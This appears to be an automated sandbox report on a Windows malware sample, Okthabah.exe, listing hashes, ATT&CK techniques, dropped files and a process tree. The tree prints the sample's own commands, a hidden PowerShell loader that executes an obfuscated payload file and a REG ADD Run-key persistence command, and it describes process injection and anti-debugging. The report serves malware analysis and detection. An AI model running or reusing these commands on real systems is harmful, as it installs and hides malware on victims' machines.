68ac1c517be7a28e59ed717f6e2ed7b94f81ae595ded1454f38c928fbaad6b71

General

Target

Okthabah.exe
Size

434KB
MD5

66affb0ca8f6d6370cc61db763a1031f
SHA1

b1bb40419c56cb0418d7657f4fb9cfefca902d44
SHA256

68ac1c517be7a28e59ed717f6e2ed7b94f81ae595ded1454f38c928fbaad6b71
SHA512

b305a5de0b8c91d0a3f376ed71ca8f456cab74f993bf73c2cccee452a3ff54e7c50eaac13efc003ff8c531f35fb12f45334003ab1caffb95f137ff85800bce80
SSDEEP

12288:IR3eJ+U4Q9O1cj/jIkfLKi/0B9eK59c+4uzCf9uJWRU:o3eJ+Ung8/jIkf2taK59c+hO+EU

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3448	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	Multipotent.exe

Loads dropped DLL 1 IoCs

pid	Process
456	Multipotent.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Hemostasis = "%Refrygtigest25% -windowstyle minimized $Matineerne84=(Get-ItemProperty -Path 'HKCU:\\Udskrivningsmenuers\\').Irakerne;%Refrygtigest25% ($Matineerne84)"	reg.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3448	powershell.exe
456	Multipotent.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3448 set thread context of 456	3448	powershell.exe	103

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1404	reg.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3448	powershell.exe
3448	powershell.exe
3448	powershell.exe
3448	powershell.exe
3448	powershell.exe
3448	powershell.exe
3448	powershell.exe
3448	powershell.exe
3448	powershell.exe
3448	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3448	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3448	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4764 wrote to memory of 3448	4764	Okthabah.exe	91
PID 4764 wrote to memory of 3448	4764	Okthabah.exe	91
PID 4764 wrote to memory of 3448	4764	Okthabah.exe	91
PID 3448 wrote to memory of 3964	3448	powershell.exe	100
PID 3448 wrote to memory of 3964	3448	powershell.exe	100
PID 3448 wrote to memory of 3964	3448	powershell.exe	100
PID 3448 wrote to memory of 456	3448	powershell.exe	103
PID 3448 wrote to memory of 456	3448	powershell.exe	103
PID 3448 wrote to memory of 456	3448	powershell.exe	103
PID 3448 wrote to memory of 456	3448	powershell.exe	103
PID 3448 wrote to memory of 456	3448	powershell.exe	103
PID 456 wrote to memory of 4660	456	Multipotent.exe	104
PID 456 wrote to memory of 4660	456	Multipotent.exe	104
PID 456 wrote to memory of 4660	456	Multipotent.exe	104
PID 4660 wrote to memory of 1404	4660	cmd.exe	106
PID 4660 wrote to memory of 1404	4660	cmd.exe	106
PID 4660 wrote to memory of 1404	4660	cmd.exe	106

C:\Users\Admin\AppData\Local\Temp\Okthabah.exe
"C:\Users\Admin\AppData\Local\Temp\Okthabah.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4764
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Gurgoyle111=Get-Content 'C:\Users\Admin\AppData\Local\dialaktologer\Onerosity240.Ops';$Septentrionally=$Gurgoyle111.SubString(51382,3);.$Septentrionally($Gurgoyle111)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3448
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
    3⤵
    PID:3964
- - C:\Users\Admin\AppData\Local\Temp\Multipotent.exe
    "C:\Users\Admin\AppData\Local\Temp\Multipotent.exe"
    3⤵
    - Checks computer location settings
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of WriteProcessMemory
    PID:456
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Hemostasis" /t REG_EXPAND_SZ /d "%Refrygtigest25% -windowstyle minimized $Matineerne84=(Get-ItemProperty -Path 'HKCU:\Udskrivningsmenuers\').Irakerne;%Refrygtigest25% ($Matineerne84)"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4660
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Hemostasis" /t REG_EXPAND_SZ /d "%Refrygtigest25% -windowstyle minimized $Matineerne84=(Get-ItemProperty -Path 'HKCU:\Udskrivningsmenuers\').Irakerne;%Refrygtigest25% ($Matineerne84)"
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:1404

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3784 --field-trial-handle=2656,i,16940681401824032220,151921362336696246,262144 --variations-seed-version /prefetch:8
1⤵
PID:2152

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4264 --field-trial-handle=2656,i,16940681401824032220,151921362336696246,262144 --variations-seed-version /prefetch:8
1⤵
PID:4388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Multipotent.exe

Filesize
434KB

MD5
66affb0ca8f6d6370cc61db763a1031f

SHA1
b1bb40419c56cb0418d7657f4fb9cfefca902d44

SHA256
68ac1c517be7a28e59ed717f6e2ed7b94f81ae595ded1454f38c928fbaad6b71

SHA512
b305a5de0b8c91d0a3f376ed71ca8f456cab74f993bf73c2cccee452a3ff54e7c50eaac13efc003ff8c531f35fb12f45334003ab1caffb95f137ff85800bce80

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sxn1plix.l3d.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\dialaktologer\Modsige.Til247

Filesize
293KB

MD5
880027bdc9ba2cbde2c9259068d86358

SHA1
8ffcc2dbf7122a9721c8332c719cee33eb89212e

SHA256
0811eb3eca416883f064c8ab6f8d25cfd5fe9f16a27a41e0b4e734a80f044cf5

SHA512
2865c12d757fbc6a51e88f095c047780547391c53e1aa7f1b99592b67919c1f41fb0bdb18a185870e039e5861383648dbdb32377c97e0c3394e58d92bbe46d9f

Download Submit
C:\Users\Admin\AppData\Local\dialaktologer\Onerosity240.Ops

Filesize
50KB

MD5
6b4519b036b5b1961ff12ebb9bf92152

SHA1
d576508e86ec7e3c53bfbe8a68ee99b4e71fcc96

SHA256
45b0d4e32da65cc44236f47f60d3d86704890afc7eb8ef3770107525c428b976

SHA512
bb459f7cbe9d0498c4aaf8c8af0165c85bdecd99e218a37bf33e97fc30ba877d4d80db000cf34c8fce5e9ba29ff97b5a948adaae077f73cb5ed38b88ecb7440a

Download Submit
memory/456-51-0x0000000001660000-0x0000000002493000-memory.dmp

Filesize
14.2MB

Download
memory/456-50-0x0000000000400000-0x0000000001654000-memory.dmp

Filesize
18.3MB

Download
memory/456-48-0x0000000001660000-0x0000000002493000-memory.dmp

Filesize
14.2MB

Download
memory/456-47-0x0000000000400000-0x0000000001654000-memory.dmp

Filesize
18.3MB

Download
memory/3448-32-0x0000000008170000-0x00000000087EA000-memory.dmp

Filesize
6.5MB

Download
memory/3448-36-0x0000000073DE0000-0x0000000074590000-memory.dmp

Filesize
7.7MB

Download
memory/3448-24-0x0000000005CF0000-0x0000000005D0E000-memory.dmp

Filesize
120KB

Download
memory/3448-25-0x0000000006240000-0x000000000628C000-memory.dmp

Filesize
304KB

Download
memory/3448-26-0x0000000073DE0000-0x0000000074590000-memory.dmp

Filesize
7.7MB

Download
memory/3448-27-0x0000000006CE0000-0x0000000006D76000-memory.dmp

Filesize
600KB

Download
memory/3448-28-0x0000000006180000-0x000000000619A000-memory.dmp

Filesize
104KB

Download
memory/3448-29-0x00000000061F0000-0x0000000006212000-memory.dmp

Filesize
136KB

Download
memory/3448-30-0x0000000007540000-0x0000000007AE4000-memory.dmp

Filesize
5.6MB

Download
memory/3448-13-0x0000000005630000-0x0000000005696000-memory.dmp

Filesize
408KB

Download
memory/3448-6-0x0000000073DEE000-0x0000000073DEF000-memory.dmp

Filesize
4KB

Download
memory/3448-34-0x0000000073DE0000-0x0000000074590000-memory.dmp

Filesize
7.7MB

Download
memory/3448-12-0x0000000004F10000-0x0000000004F76000-memory.dmp

Filesize
408KB

Download
memory/3448-19-0x00000000056A0000-0x00000000059F4000-memory.dmp

Filesize
3.3MB

Download
memory/3448-37-0x0000000073DEE000-0x0000000073DEF000-memory.dmp

Filesize
4KB

Download
memory/3448-38-0x0000000073DE0000-0x0000000074590000-memory.dmp

Filesize
7.7MB

Download
memory/3448-40-0x0000000073DE0000-0x0000000074590000-memory.dmp

Filesize
7.7MB

Download
memory/3448-39-0x00000000087F0000-0x0000000009623000-memory.dmp

Filesize
14.2MB

Download
memory/3448-41-0x0000000073DE0000-0x0000000074590000-memory.dmp

Filesize
7.7MB

Download
memory/3448-43-0x0000000073DE0000-0x0000000074590000-memory.dmp

Filesize
7.7MB

Download
memory/3448-45-0x0000000073DE0000-0x0000000074590000-memory.dmp

Filesize
7.7MB

Download
memory/3448-11-0x0000000004C70000-0x0000000004C92000-memory.dmp

Filesize
136KB

Download
memory/3448-10-0x0000000004F90000-0x00000000055B8000-memory.dmp

Filesize
6.2MB

Download
memory/3448-9-0x0000000073DE0000-0x0000000074590000-memory.dmp

Filesize
7.7MB

Download
memory/3448-49-0x0000000073DE0000-0x0000000074590000-memory.dmp

Filesize
7.7MB

Download
memory/3448-8-0x0000000000EA0000-0x0000000000ED6000-memory.dmp

Filesize
216KB

Download
memory/3448-7-0x0000000073DE0000-0x0000000074590000-memory.dmp

Filesize
7.7MB

Download
memory/3448-56-0x0000000073DE0000-0x0000000074590000-memory.dmp

Filesize
7.7MB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads